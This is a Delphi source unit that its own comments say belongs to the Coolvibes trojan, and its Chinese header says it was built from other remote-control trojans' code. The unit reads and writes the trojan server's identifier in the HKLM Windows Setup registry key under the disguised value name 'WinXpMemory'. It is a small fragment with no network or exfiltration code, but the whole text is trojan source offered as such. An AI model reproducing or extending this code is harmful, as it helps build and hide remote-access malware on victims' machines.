unitcambioid.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

{Unit perteneciente al troyano Coolvibes que contiene las funciones
para cambiar la ID de un server}
unit unitCambioID;

interface

uses
Registry, Windows, SettingsDef, UnitVariables;

var
  Registro: TRegistry;

 procedure writeID(NvoNombre : string);
 function readID(Sname:PCHAR): string;  //读取服务端标记

implementation
function readID(Sname:PCHAR): string;  //读取服务端标记
begin
  Registro := TRegistry.Create(KEY_ALL_ACCESS);
  Registro.RootKey := HKEY_LOCAL_MACHINE;
  Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\', true);
  Result := Registro.ReadString(Sname);
  if (Result = '') and (Sname='WinXpMemory') then    Result := Configuracion.sID;
  Registro.CloseKey;
  Registro.Free;          
end;


procedure writeId(nvoNombre : string);  //写服务端标记
begin
  Registro := TRegistry.Create(KEY_WRITE);
  Registro.RootKey := HKEY_LOCAL_MACHINE;
  Registro.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\', true);
  Registro.WriteString('WinXpMemory',nvoNombre);
  Registro.CloseKey;
  Registro.Free;
end;

end.